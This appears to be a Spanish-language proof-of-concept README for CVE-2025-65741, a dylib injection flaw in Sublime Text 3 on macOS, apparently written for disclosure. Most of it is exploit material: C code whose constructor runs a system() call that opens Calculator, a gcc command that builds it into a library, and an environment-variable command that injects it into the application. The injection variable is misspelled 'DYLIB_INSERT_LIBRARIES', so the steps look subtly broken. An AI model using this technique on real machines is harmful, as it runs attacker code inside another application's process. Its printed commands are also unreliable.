vinicius-batistella/cve-2025-65741Concepto de prueba para CVE-2025-65741 que demuestra la inyección de dylib en Sublime Text 3 en macOS a través de código sin firmar, con un payload .dylib compilado y pasos de explotación.
Download: https://www.sublimetext.com/3
CVE: CVE-2025-65741 | https://nvd.nist.gov/vuln/detail/CVE-2025-65741
Author: Vinicius Batistella
Version Affected: Sublime Text 3 Build 3208 or prior for macOS
La aplicación Sublime Text no verifica correctamente una inyección de código sin firma, lo que permite a un atacante compilar una librería .dylib y forzar a la aplicación a ejecutarla en el contexto de la aplicación. En el siguiente ejemplo, se forzó a la aplicación Sublime Text a abrir el binario de calculadora. Esta vulnerabilidad ha sido corregida en la Build 3209 y posteriores.
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] Dynalic Library Injection: %s\n", argv[0]);
system("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
gcc -dynamiclib injection.c -arch x86_64 -o injection_x86.dylib
DYLIB_INSERT_LIBRARIES=injection_x86.dylib /Applications/Sublime\ Text.app/Contents/MacOS/Sublime\ Text